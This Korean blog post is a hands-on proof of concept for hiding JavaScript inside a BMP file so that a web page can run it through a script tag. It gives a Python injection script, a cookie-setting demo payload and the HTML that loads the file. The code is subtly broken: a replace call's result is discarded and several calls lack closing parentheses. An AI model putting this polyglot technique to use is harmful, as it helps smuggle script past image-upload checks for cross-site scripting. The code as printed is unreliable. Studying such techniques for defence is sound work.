Data+

#11. BMP 이미지 해킹

by Qerogram

서론


이런게 된다고는 생각해본 적 없던, bmp 파일에 코드 인젝션을 해서 html에서 실행을 해보았다.


진행과정


0. 아이디어

- 웹 브라우져는 Signature만 확인되면 데이터가 손상되어 있어도 상관없이 잘 실행이 된다.

- 즉,  42 4D 뒤에 /* */ 주석을 처음부터 끝까지 처리한 뒤, 자연스럽게 bof의 썰매 기법처럼 스크립트를 실행할 수 있게 되는 것이다.


1. 소스코드

 * 파이썬 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#-*- coding: utf-8 -*-
fname = "attack.bmp"
 
pfile = open(fname, "r+b")
buff = pfile.read()
 
# 주석을 닫는 행위를 모두 치환.
buff.replace(b'\x2A\x2F', b'\x00\x00')
pfile.close()
 
pfile = open(fname, "w+b")
pfile.write(buff)
pfile.seek(2,0# Signature 뒤에 /*를 삽입
pfile.write(b'\x2F\x2A')
pfile.close()
 
pfile = open(fname, "a+b")
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B'# 주석 닫기.
pfile.write(open('hello.js','rb').read())
pfile.close()
cs

 * 삽입할 스크립트

1
2
3
4
5
6
name = 'id';
value = 'RedScreen';
var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7);
document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + todayDate.toGMTString() + "";
alert("cookie is " + document.cookie)
cs

 * html 코드

1
2
<img src="attack.bmp"/>
<script src="attack.bmp"></script>
cs

2. 결과

 * bmp 하단에 코드 추가확인.

 * 실행결과



# REF

http://redscreen.tistory.com/60?category=177955

'코딩 > Python' 카테고리의 다른 글

#13. ADLER32 Calc in Python 2.7.15  (0) 2018.10.12
#12. Virustotal_API를 이용한 코딩  (0) 2018.07.07
#10. PyInstaller  (0) 2018.06.28
#9. Tray 프로그램  (0) 2018.06.26
#7. Django에 SSL 달아주기  (0) 2018.02.13

블로그의 정보

Data+

Qerogram

활동하기